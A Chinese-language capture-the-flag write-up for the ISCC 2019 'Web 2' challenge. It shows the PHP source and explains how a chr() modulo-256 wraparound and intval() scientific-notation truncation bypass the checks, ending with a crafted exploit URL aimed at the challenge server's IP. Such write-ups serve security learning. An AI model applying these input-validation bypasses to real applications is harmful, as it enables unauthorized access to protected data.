ISCC 2019 Web 2

源码如下

error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '
', PHP_EOL;
        echo $flag, '


';
    }
}

highlight_file(__FILE__);

 

读了下代码,get传参,value和password。Value的值要等w3lc0me_To_ISCC2019,但ascii值不能在32和127之间。

chr()函数是 值除以256取余数。这就好办了,只需要在原有数值上加上256就ok了。

(chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。)

再看password ,intval可以用科学技术法绕过,如:2e4

(     intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。)

构造如下

http://39.100.83.188:8001/index.php?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2e4

(可以看出来相同的数值分别为相同的字符)

http://39.100.83.188:8001/index.php?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=2e4

你可能感兴趣的:(ISCC,web,代码审计)